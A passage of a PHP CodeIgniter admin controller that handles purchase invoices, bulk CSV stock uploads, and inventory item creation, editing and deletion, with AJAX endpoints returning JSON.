                $this->form_validation->set_rules('invoice', 'Invoice', 'trim|required', array('required' => 'Please Select Invoice.'));
                $totalItems = trim($this->input->post("totalItemsCreated"));
                $itemNames = $this->input->post("purchaseItemName");
                $itemMakes = $this->input->post("purchaseItemMake");
                $itemModels = $this->input->post("purchaseItemModel");
                $itemReceiveDates = $this->input->post("purchaseItemReceiveDate");
                $itemQuantities = $this->input->post("purchaseItemQty");
                $itemUnitPrices = $this->input->post("purchaseItemUPrice");
                $itemTaxPercentage = $this->input->post("purchaseItemTaxPerc");
                $itemTotalAmount = $this->input->post("purchaseItemTotalAmt");
                $isNonNumericOrBlank = 0;
                $newItemsGrandTotal = 0;
                $purchaseItems = array();
                if ($totalItems) {
                    for ($i = 0; $i < $totalItems; $i++) {
                        if ((trim($itemNames[$i]) == "") || (!is_numeric($itemQuantities[$i])) || (!is_numeric($itemUnitPrices[$i])) || (!is_numeric($itemTaxPercentage[$i]) || (!is_numeric($itemTotalAmount[$i])))) {
                            $isNonNumericOrBlank++;
                        } else {
                            array_push($purchaseItems, array(
                                'pdm_make' => addslashes(trim($itemMakes[$i])),
                                'pdm_model' => addslashes(trim($itemModels[$i])),
                                'pdm_item_name' => addslashes(trim($itemNames[$i])),
                                'pdm_cost_with_tax' => trim($itemTotalAmount[$i]),
                                'pdm_quantity' => trim($itemQuantities[$i]),
                                'pdm_receive_date' => (trim($itemReceiveDates[$i]) == "") ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $itemReceiveDates[$i]))),
                                'pdm_unit_price' => trim($itemUnitPrices[$i]),
                                'pdm_tax_percentage' => trim($itemTaxPercentage[$i]),
                                'pm_id' => trim($this->input->post("invoice"))
                            ));
                            $newItemsGrandTotal += $itemTotalAmount[$i];
                        }
                    }
                }
                if ($this->form_validation->run() == FALSE) {
                    $viewData['totalItems'] = $totalItems;
                    $this->load->view('admin/stockAndInventory/createPurchaseDetail', $viewData);
                } else if ($isNonNumericOrBlank) {
                    $viewData['totalItems'] = $totalItems;
                    $this->session->set_flashdata('errorMessage', "Any Of The Item Entry Is Incorrect. Please Enter All Required Fields & Valid Number/Decimal Number In Cost/Tax Fields.");
                    $this->load->view('admin/stockAndInventory/createPurchaseDetail', $viewData);
                } else {
                    $purchase_info = $this->StockAndPurchaseManagement->getPurchaseInfoBy(trim($this->input->post("invoice")))->result()[0];
                    $purchaseInfoToUpdate = array(
                        'pm_id' => trim($this->input->post("invoice")),
                        'pm_total_amt_with_tax' => $purchase_info->pm_total_amt_with_tax + $newItemsGrandTotal,
                        'pm_total_items' => $purchase_info->pm_total_items + $totalItems,
                        'pm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                        'pm_updated_on' => date("Y-m-d H:i:s")
                    );
                    $this->db->trans_start();
                    $this->StockAndPurchaseManagement->createPurchaseDetailsInfoMulti($purchaseItems);
                    $this->StockAndPurchaseManagement->updatePurchaseInfo($purchaseInfoToUpdate);
                    $this->db->trans_complete();
                    $this->session->set_flashdata('successMessage', 'Purchase Item(s) Added Successfully In The Invoice. <a href="' . site_url("admin/StockAndPurchase/purchaseDetails") . '">Click Here</a> To Update Stock Information.');
                    redirect("admin/StockAndPurchase/purchaseDetails");
                }
            } else {
                $viewData['totalItems'] = 0;
                $this->load->view('admin/stockAndInventory/createPurchaseDetail', $viewData);
            }
        } else {
            redirect("admin/");
        }
    }

    public function updateItemInfoBulk() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $totalItems = trim($this->input->post("totalQuantity"));
            $pdmId = trim($this->input->post("pdmId"));
            $itemUIds = $this->input->post("uid");
            $itemSerialNumbers = $this->input->post("srno");
            $itemDetails = $this->input->post("detail");
            $stockInfoToInsertArray = array();
            for ($i = 0; $i < $totalItems; $i++) {
                array_push($stockInfoToInsertArray, array(
                    'sm_uid' => addslashes(trim($itemUIds[$i])),
                    'sm_sr_no' => addslashes(trim($itemSerialNumbers[$i])),
                    'sm_detail' => addslashes(trim($itemDetails[$i])),
                    'pdm_id' => $pdmId,
                    'sm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                    'sm_updated_on' => date("Y-m-d H:i:s")
                ));
            }
            if (sizeof($stockInfoToInsertArray)) {
                $this->db->trans_start();
                $this->StockAndPurchaseManagement->createNewStockInfoMulti($stockInfoToInsertArray);
                $this->db->trans_complete();
                $this->session->set_flashdata('successMessage', 'All Stock/Item Info Has Been Updated.');
                redirect("admin/StockAndPurchase/purchaseDetails");
            } else {
                $this->db->trans_rollback();
                $this->session->set_flashdata('errorMessage', "Can Not Update! Stocks Info Has Already Been Updated Against This Purchase Item Or No Items Found To Update.");
                redirect("admin/StockAndPurchase/purchaseDetails");
            }
        } else {
            redirect("admin/");
        }
    }

    public function updateStockInfoBulk($pdm_id = '') {
        if ($this->sessionvalidator->isLoggedIn()) {
            if (isset($_POST['updateSubmitBtn'])) {
                if (empty($_FILES['bulkStockInfoFile']['name'])) {
                    $this->session->set_flashdata('errorMessage', "Please Upload Any CSV File.");
                    redirect("admin/StockAndPurchase/updateStockInfoBulk");
                } else {
                    $bulkStockInfoFileNameWithPath = "";
                    $configBulkFile['upload_path'] = './assets/admin/uploads/bulkfiles/stockinfo/';
                    $configBulkFile['allowed_types'] = 'csv';
                    $configBulkFile['max_size'] = '1024';
                    $configBulkFile['file_ext_tolower'] = TRUE;
                    $configBulkFile['encrypt_name'] = TRUE;
                    $this->load->library('upload', $configBulkFile);
                    if (!$this->upload->do_upload('bulkStockInfoFile')) {
                        $this->session->set_flashdata('errorMessage', "Error! Only CSV Files With Max. Size 1MB Is Allowed.");
                        redirect("admin/StockAndPurchase/updateStockInfoBulk");
                    } else {
                        $pdm_id = trim($this->input->post('pdmId'));
                        $bulkStockInfoFileNameWithPath = base_url("assets/admin/uploads/bulkfiles/stockinfo/" . $this->upload->data()['file_name']);
                        $csvFileContent = $this->csvhandler->readCSV($bulkStockInfoFileNameWithPath);
                        if (trim($csvFileContent[0][0]) == "UID" && trim($csvFileContent[0][1]) == "SR_NO") {
                            $stockInfoToInsertArray = array();
                            $stockUnderPurchaseDetails = $this->StockAndPurchaseManagement->getAllStocksBy($pdm_id)->result();
                            if (sizeof($stockUnderPurchaseDetails) == 0) {
                                for ($i = 1; $i < sizeof($csvFileContent); $i++) {
                                    array_push($stockInfoToInsertArray, array(
                                        'sm_uid' => addslashes(trim($csvFileContent[$i][0])),
                                        'sm_sr_no' => addslashes(trim($csvFileContent[$i][1])),
                                        'pdm_id' => $pdm_id,
                                        'sm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                                        'sm_updated_on' => date("Y-m-d H:i:s")
                                    ));
                                }
                            }
                            if (sizeof($stockInfoToInsertArray)) {
                                $this->db->trans_start();
                                $this->StockAndPurchaseManagement->createNewStockInfoMulti($stockInfoToInsertArray);
                                $updatePurchaseItemQuantity = array(
                                    'pdm_id' => $pdm_id,
                                    'pdm_quantity' => sizeof($stockInfoToInsertArray)
                                );
                                if ($this->StockAndPurchaseManagement->updatePurchaseDetailInfo($updatePurchaseItemQuantity)) {
                                    $this->db->trans_complete();
                                    $this->session->set_flashdata('successMessage', 'All Stock Info Has Been Updated.');
                                    redirect("admin/StockAndPurchase/purchaseDetails");
                                } else {
                                    $this->db->trans_rollback();
                                    $this->session->set_flashdata('errorMessage', "Can Not Update! Failed To Update Quantity Against Purchase Item.");
                                    redirect("admin/StockAndPurchase/purchaseDetails");
                                }
                            } else {
                                $this->db->trans_rollback();
                                $this->session->set_flashdata('errorMessage', "Can Not Update! Stocks Info Has Already Been Updated Against This Purchase Item Or Not Item Found In The Uploaded Excel.");
                                redirect("admin/StockAndPurchase/purchaseDetails");
                            }
                        } else {
                            $this->db->trans_rollback();
                            $this->session->set_flashdata('errorMessage', "Error! Uploaded CSV Contains Invalid Column Name(s)/No. Of Columns.");
                            redirect(current_url());
                        }
                    }
                }
            } else {
                $viewData['pdm_id'] = $pdm_id;
                $this->load->view('admin/stockAndInventory/updateStockInfoBulk', $viewData);
            }
        } else {
            redirect("admin/");
        }
    }

    public function deletePurchaseDetails($pdm_id, $pm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $purchase_info = $this->StockAndPurchaseManagement->getPurchaseInfoBy($pm_id)->result()[0];
            $purchase_details = $this->StockAndPurchaseManagement->getPurchaseDetailsBy($pm_id)->result();
            if (sizeof($purchase_details) == 1) {
                $this->session->set_flashdata('errorMessage', 'This Item Can Not Be Deleted As It Is The Only Item Of The Invoice.');
                redirect("admin/StockAndPurchase/purchaseDetails");
            } else {
                $updatedTotalItemsInInvoice = (sizeof($purchase_details) - 1);
                $updatedTotalAmountOfInvoice = ($purchase_info->pm_total_amt_with_tax - $purchase_details[0]->pdm_cost_with_tax);
                $this->db->trans_start();
                $stockInfo = $this->StockAndPurchaseManagement->getAllStocksBy($pdm_id)->result();
                for ($j = 0; $j < sizeof($stockInfo); $j++) {
                    $this->StockAndPurchaseManagement->deleteIssueReturnInfoBy($stockInfo[$j]->sm_id);
                }
                $this->StockAndPurchaseManagement->deleteStockInfoByPurchaseDetail($pdm_id);
                $this->StockAndPurchaseManagement->deletePurchaseDetailInfoBy($pdm_id);
                $purchaseInfo = array(
                    'pm_id' => $pm_id,
                    'pm_total_amt_with_tax' => $updatedTotalAmountOfInvoice,
                    'pm_total_items' => $updatedTotalItemsInInvoice,
                    'pm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                    'pm_updated_on' => date("Y-m-d H:i:s")
                );
                $this->StockAndPurchaseManagement->updatePurchaseInfo($purchaseInfo);
                $this->db->trans_complete();
                if ($this->db->trans_status() === FALSE) {
                    $this->db->trans_rollback();
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Deleting Item Entry. Try Later.');
                    redirect(current_url());
                } else {
                    $this->db->trans_commit();
                    $this->session->set_flashdata('successMessage', 'Purchase Item Deleted & Stocks Updated Successfully.');
                    redirect("admin/StockAndPurchase/purchaseDetails");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function getPurchaseDetailsByInvoice() {
        $pm_id = $_POST['pm_id'];
        $query = $this->StockAndPurchaseManagement->getPurchaseDetailsBy($pm_id);
        $pdmList = $query->result();
        $options = "<option value=''>Select Purchase Item</option>";
        for ($i = 0; $i < (sizeof($pdmList)); $i++) {
            $options .= "<option value=" . $pdmList[$i]->pdm_id . ">" . stripslashes($pdmList[$i]->pdm_item_name) . "/" . stripslashes($pdmList[$i]->pdm_make) . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'pdm_list' => $options
        );
        echo json_encode($responseData);
    }

    public function getPurchaseDetailsByInvoiceSelected() {
        $pm_id = $_POST['pm_id'];
        $pdm_id = $_POST['pdm_id'];
        $query = $this->StockAndPurchaseManagement->getPurchaseDetailsBy($pm_id);
        $pdmList = $query->result();
        $options = "<option value=''>Select Purchase Item</option>";
        for ($i = 0; $i < (sizeof($pdmList)); $i++) {
            $selected = ($pdmList[$i]->pdm_id == $pdm_id) ? "selected" : "";
            $options .= "<option value=" . $pdmList[$i]->pdm_id . " " . $selected . ">" . stripslashes($pdmList[$i]->pdm_item_name) . "/" . stripslashes($pdmList[$i]->pdm_make) . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'pdm_list' => $options
        );
        echo json_encode($responseData);
    }

    public function getPurchaseDetailFullInfo() {
        $pdm_id = $_POST['pdm_id'];
        $purchase_details_info = $this->StockAndPurchaseManagement->getPurchaseDetailsInfoBy($pdm_id)->result()[0];
        $purchase_info = $this->StockAndPurchaseManagement->getPurchaseInfoBy($purchase_details_info->pm_id)->result()[0];
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'pm_id' => $purchase_info->pm_id,
            'pm_invoice_number' => stripslashes($purchase_info->pm_invoice_number),
            'pm_invoice_date' => date('d-m-Y', strtotime($purchase_info->pm_invoice_date)),
            'pm_total_amt_with_tax' => "<i class='fa fa-inr'></i>" . $purchase_info->pm_total_amt_with_tax . "/- INR",
            'pm_total_items' => $purchase_info->pm_total_items,
            'pm_invoice_file' => ($purchase_info->pm_invoice_file == "" || $purchase_info->pm_invoice_file == NULl) ? "javascript:void();" : base_url($purchase_info->pm_invoice_file),
            'purchase_head' => stripslashes($purchase_info->iphm_name),
            'vendor_business_name' => stripslashes($purchase_info->ven_business_name),
            'vendor_address' => stripslashes("<b>Address</b>: " . $purchase_info->ven_addr_line_one . " " . $purchase_info->ven_addr_line_two . " " . $purchase_info->ven_addr_line_three . " <b>City</b>: " . $purchase_info->city_name . " <b>Zip</b>: " . $purchase_info->ven_zipcode),
            'category_name' => stripslashes($purchase_info->icm_name),
            'pm_created_by' => $purchase_info->addedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($purchase_info->pm_added_on)),
            'pm_updated_by' => $purchase_info->updatedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($purchase_info->pm_updated_on)),
            'pdm_id' => $purchase_details_info->pdm_id,
            'pdm_item_name' => stripslashes($purchase_details_info->pdm_item_name),
            'pdm_quantity' => $purchase_details_info->pdm_quantity,
            'pdm_rec_date' => ($purchase_details_info->pdm_receive_date == NULL) ? "-" : date('d-m-Y', strtotime($purchase_details_info->pdm_receive_date)),
            'pdm_unit_price' => "<i class='fa fa-inr'></i>" . $purchase_details_info->pdm_unit_price . "/- INR",
            'pdm_tax' => $purchase_details_info->pdm_tax_percentage,
            'pdm_make' => ($purchase_details_info->pdm_make == "" || $purchase_details_info->pdm_make == "") ? "NA" : stripslashes($purchase_details_info->pdm_make),
            'pdm_model' => ($purchase_details_info->pdm_model == "" || $purchase_details_info->pdm_model == "") ? "NA" : stripslashes($purchase_details_info->pdm_model),
            'pdm_total_cost_with_tax' => "<i class='fa fa-inr'></i>" . $purchase_details_info->pdm_cost_with_tax . "/- INR"
        );
        echo json_encode($responseData);
    }

    public function getStockItemFullInfoByPurchaseDetail() {
        $pdm_id = $_POST['pdm_id'];
        $availableStockInfo = array();
        $purchase_details_info = $this->StockAndPurchaseManagement->getPurchaseDetailsInfoBy($pdm_id)->result()[0];
        $purchase_info = $this->StockAndPurchaseManagement->getPurchaseInfoBy($purchase_details_info->pm_id)->result()[0];
        $stockInventoryInfo = $this->StockAndPurchaseManagement->getAllStocksBy($pdm_id)->result();
        for ($i = 0; $i < sizeof($stockInventoryInfo); $i++) {
            array_push($availableStockInfo, array(
                'sm_id' => $stockInventoryInfo[$i]->sm_id,
                'sm_uid' => stripslashes($stockInventoryInfo[$i]->sm_uid),
                'sm_sr_no' => stripslashes($stockInventoryInfo[$i]->sm_sr_no),
                'sm_is_scrap' => ($stockInventoryInfo[$i]->sm_scrap_flag == "T") ? "Yes" : "No",
                'sm_detail' => stripslashes($stockInventoryInfo[$i]->sm_detail),
                'sm_updated_by' => stripslashes($stockInventoryInfo[$i]->addedByAdmin) . " On " . date('d-m-Y h:i:s A', strtotime($stockInventoryInfo[$i]->sm_updated_on))
            ));
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'pm_id' => $purchase_info->pm_id,
            'pm_invoice_number' => stripslashes($purchase_info->pm_invoice_number),
            'pm_invoice_date' => date('d-m-Y', strtotime($purchase_info->pm_invoice_date)),
            'pm_total_items' => $purchase_info->pm_total_items,
            'pm_total_amt_with_tax' => "<i class='fa fa-inr'></i>" . $purchase_info->pm_total_amt_with_tax . "/- INR",
            'pm_invoice_file' => ($purchase_info->pm_invoice_file == "" || $purchase_info->pm_invoice_file == NULl) ? "javascript:void();" : base_url($purchase_info->pm_invoice_file),
            'pm_register_details' => ($purchase_info->pm_register_details == "" || $purchase_info->pm_register_details == NULL) ? "NA" : stripslashes($purchase_info->pm_register_details),
            'purchase_head' => stripslashes($purchase_info->iphm_name),
            'vendor_business_name' => stripslashes($purchase_info->ven_business_name),
            'vendor_address' => stripslashes("<b>Address</b>: " . $purchase_info->ven_addr_line_one . " " . $purchase_info->ven_addr_line_two . " " . $purchase_info->ven_addr_line_three . " <b>City</b>: " . $purchase_info->city_name . " <b>Zip</b>: " . $purchase_info->ven_zipcode),
            'category_name' => stripslashes($purchase_info->icm_name),
            'pm_created_by' => $purchase_info->addedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($purchase_info->pm_added_on)),
            'pm_updated_by' => $purchase_info->updatedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($purchase_info->pm_updated_on)),
            'pdm_id' => $purchase_details_info->pdm_id,
            'pdm_item_name' => stripslashes($purchase_details_info->pdm_item_name),
            'pdm_quantity' => $purchase_details_info->pdm_quantity,
            'pdm_rec_date' => ($purchase_details_info->pdm_receive_date == NULL) ? "-" : date('d-m-Y', strtotime($purchase_details_info->pdm_receive_date)),
            'pdm_unit_price' => "<i class='fa fa-inr'></i>" . $purchase_details_info->pdm_unit_price . "/- INR",
            'pdm_tax' => $purchase_details_info->pdm_tax_percentage,
            'pdm_make' => ($purchase_details_info->pdm_make == "" || $purchase_details_info->pdm_make == "") ? "NA" : stripslashes($purchase_details_info->pdm_make),
            'pdm_model' => ($purchase_details_info->pdm_model == "" || $purchase_details_info->pdm_model == "") ? "NA" : stripslashes($purchase_details_info->pdm_model),
            'pdm_total_cost_with_tax' => "<i class='fa fa-inr'></i>" . $purchase_details_info->pdm_cost_with_tax . "/- INR",
            'pdm_stock_inventory' => $availableStockInfo
        );
        echo json_encode($responseData);
    }

    public function checkUIDs() {
        $uids = $_POST['uidArray'];
        $queryByUID = $this->StockAndPurchaseManagement->getStockInfoByUIDs($uids);
        $ifAlreadyExists = 0;
        if (sizeof($queryByUID->result())) {
            $ifAlreadyExists = 1;
        } else {
            $ifAlreadyExists = 0;
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'if_exist' => $ifAlreadyExists
        );
        echo json_encode($responseData);
    }

    public function checkSerialNumbers() {
        $srnos = $_POST['uidArray'];
        $queryByUID = $this->StockAndPurchaseManagement->getStockInfoBySrNos($srnos);
        $ifAlreadyExists = 0;
        if (sizeof($queryByUID->result())) {
            $ifAlreadyExists = 1;
        } else {
            $ifAlreadyExists = 0;
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'if_exist' => $ifAlreadyExists
        );
        echo json_encode($responseData);
    }

    /* Request Hanlders For Inventory & Related Stuffs */

    public function inventory() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allInventories'] = $this->StockAndPurchaseManagement->getAllStocks()->result();
            $this->load->view('admin/stockAndInventory/inventories', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createInventoryItem() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['allInvoices'] = $this->StockAndPurchaseManagement->getAllPurchases()->result();
            $this->load->view('admin/stockAndInventory/createInventory', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewInventoryItem() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('invoice', 'Invoice', 'trim|required', array('required' => 'Please Select An Invoice.'));
            $this->form_validation->set_rules('invoiceItems', 'Purchase Item', 'trim|required', array('required' => 'Please Select Any Purchased Stock.'));
            $this->form_validation->set_rules('invUID', 'Item UID', 'trim|required', array('required' => 'Please Enter Item UID No.'));
            $queryByInventoryItemUID = $this->StockAndPurchaseManagement->getStockInfoByUID(trim($this->input->post('invUID')));
            $inventoryItemInfoByUID = $queryByInventoryItemUID->result();
            if ($this->form_validation->run() == FALSE) {
                $this->createInventoryItem();
            } else if (sizeof($inventoryItemInfoByUID)) {
                $this->session->set_flashdata('errorMessage', "This UID No. (" . trim($this->input->post('invUID')) . ") Is Already Alloted To Some Other Item. Please Enter Different UID Number.");
                $this->createInventoryItem();
            } else {
                $newInventoryItemInfo = array(
                    'pdm_id' => trim($this->input->post('invoiceItems')),
                    'sm_uid' => addslashes(trim($this->input->post('invUID'))),
                    'sm_sr_no' => addslashes(trim($this->input->post('invMoSrNo'))),
                    'sm_updated_on' => date("Y-m-d H:i:s"),
                    'sm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $this->db->trans_start();
                if ($this->StockAndPurchaseManagement->createNewStock($newInventoryItemInfo)) {
                    $availableInventory = $this->StockAndPurchaseManagement->getAllStocksBy(trim($this->input->post('invoiceItems')))->result();
                    $purchase_details_info = $this->StockAndPurchaseManagement->getPurchaseDetailsInfoBy(trim($this->input->post('invoiceItems')))->result()[0];
                    $updatedQuantity = sizeof($availableInventory);
                    $taxPercentage = $purchase_details_info->pdm_tax_percentage;
                    $totalCostWithoutTax = ($purchase_details_info->pdm_unit_price * $updatedQuantity);
                    $totalCostWithTax = $totalCostWithoutTax + ($totalCostWithoutTax * ($taxPercentage / 100));
                    $updatePurchaseItemQuantity = array(
                        'pdm_id' => trim($this->input->post('invoiceItems')),
                        'pdm_quantity' => $updatedQuantity,
                        'pdm_cost_with_tax' => $totalCostWithTax
                    );
                    if ($this->StockAndPurchaseManagement->updatePurchaseDetailInfo($updatePurchaseItemQuantity)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Inventory Item Added Successfully.');
                        redirect("admin/StockAndPurchase/inventory");
                    } else {
                        $this->db->trans_rollback();
                        $this->session->set_flashdata('errorMessage', "An Error Occured While Updating Stock Quantity. Try Later.");
                        redirect("admin/StockAndPurchase/inventory");
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Adding Inventory Inventory Item. Try Later.');
                    redirect("admin/StockAndPurchase/inventory");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editInventoryItem($sm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['allInvoices'] = $this->StockAndPurchaseManagement->getAllPurchases()->result();
            $viewData['inventoryInfo'] = $this->StockAndPurchaseManagement->getStockInfoBy($sm_id)->result()[0];
            $this->load->view('admin/stockAndInventory/editInventory', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateInventoryItem() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $sm_id = trim($this->input->post('invItemId'));
            $this->form_validation->set_rules('invoice', 'Invoice', 'trim|required', array('required' => 'Please Select An Invoice.'));
            $this->form_validation->set_rules('invoiceItems', 'Purchase Item', 'trim|required', array('required' => 'Please Select Any Purchased Stock.'));
            $this->form_validation->set_rules('invUID', 'Item UID', 'trim|required', array('required' => 'Please Enter Item UID No.'));
            if ($this->form_validation->run() == FALSE) {
                $this->editInventoryItem($sm_id);
            } else if (!$this->StockAndPurchaseManagement->isStockUIDSafeUpdate($sm_id, trim($this->input->post('invUID')))) {
                $this->session->set_flashdata('errorMessage', "This UID No. (" . trim($this->input->post('invUID')) . ") Is Already Alloted To Some Other Item. Please Enter Different UID Number.");
                $this->editInventoryItem($sm_id);
            } else {
                $inventoryItemInfo = array(
                    'sm_id' => $sm_id,
                    'sm_uid' => addslashes(trim($this->input->post('invUID'))),
                    'sm_sr_no' => addslashes(trim($this->input->post('invMoSrNo'))),
                    'sm_scrap_flag' => trim($this->input->post('invItemScrap')),
                    'sm_detail' => addslashes(trim($this->input->post('invDesc'))),
                    'sm_updated_on' => date("Y-m-d H:i:s"),
                    'sm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $this->db->trans_start();
                if ($this->StockAndPurchaseManagement->updateStockInfo($inventoryItemInfo)) {
                    $this->db->trans_complete();
                    $this->session->set_flashdata('successMessage', 'Inventory Item Updated Successfully.');
                    redirect("admin/StockAndPurchase/inventory");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Inventory Inventory Item. Try Later.');
                    redirect("admin/StockAndPurchase/inventory");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteInventoryItem($sm_id, $pdm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->db->trans_start();
            $this->StockAndPurchaseManagement->deleteIssueReturnInfoBy($sm_id);
            $this->StockAndPurchaseManagement->deleteStockInfoBy($sm_id);
            $availableInventory = $this->StockAndPurchaseManagement->getAllStocksBy($pdm_id)->result();
            $purchase_details_info = $this->StockAndPurchaseManagement->getPurchaseDetailsInfoBy($pdm_id)->result()[0];
            $updatedQuantity = sizeof($availableInventory);
            $taxPercentage = $purchase_details_info->pdm_tax_percentage;
            $totalCostWithoutTax = ($purchase_details_info->pdm_unit_price * $updatedQuantity);
            $totalCostWithTax = $totalCostWithoutTax + ($totalCostWithoutTax * ($taxPercentage / 100));
            $updatePurchaseItemQuantity = array(
                'pdm_id' => $pdm_id,
                'pdm_quantity' => $updatedQuantity,
                'pdm_cost_with_tax' => $totalCostWithTax
            );
            if ($this->StockAndPurchaseManagement->updatePurchaseDetailInfo($updatePurchaseItemQuantity)) {
                $this->db->trans_complete();
                $this->session->set_flashdata('successMessage', 'Inventory Item Deleted And Stock Quantity Updated Successfully.');
                redirect("admin/StockAndPurchase/purchaseDetails");
            } else {
                $this->db->trans_rollback();
                $this->session->set_flashdata('errorMessage', "Can Not Delete! Failed To Update Quantity Against Purchase Item.");
                redirect("admin/StockAndPurchase/purchaseDetails");
            }
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023